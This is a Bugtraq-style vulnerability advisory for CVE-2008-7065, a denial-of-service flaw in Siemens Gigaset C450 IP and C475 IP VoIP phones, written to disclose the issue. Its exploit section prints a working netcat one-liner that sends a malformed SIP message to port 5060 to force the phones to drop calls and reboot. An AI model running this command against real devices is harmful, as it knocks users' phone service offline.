Siemens Multiple Gigaset VoIP Phones SIP Remote Denial of Service Vulnerability

Bugtraq ID:	32451
Class:	Failure to Handle Exceptional Conditions
CVE:	CVE-2008-7065
Remote:	Yes
Local:	No
Published:	Nov 24 2008 12:00AM
Updated:	May 07 2015 05:20PM
Credit:	Martin Kluge
Vulnerable:	Siemens Gigaset C475 IP 0 Siemens Gigaset C450 IP 0
Not Vulnerable:

Siemens Multiple Gigaset VoIP Phones SIP Remote Denial of Service Vulnerability

Siemens Gigaset C450 IP and C475 IP VoIP phones are prone to a denial-of-service vulnerability because they fail to handle specially crafted SIP messages.

A remote attacker may exploit this issue to cause vulnerable devices to drop all current calls and reboot, resulting in a denial-of-service condition.

Siemens Multiple Gigaset VoIP Phones SIP Remote Denial of Service Vulnerability

To exploit this issue, attackers may use readily available network utilities.

The following exploit is available:

echo -e "X sip:s X\nFrom:<sip:@x>\nTo:<sip:@x>\n" | nc -q0 -u <target> 5060

Siemens Multiple Gigaset VoIP Phones SIP Remote Denial of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Siemens Multiple Gigaset VoIP Phones SIP Remote Denial of Service Vulnerability

References:

• C450 IP Homepage (Siemens)
  
• C475 IP Homepage (Siemens)
  
• Siemens C450IP/C475IP DoS (Martin Kluge )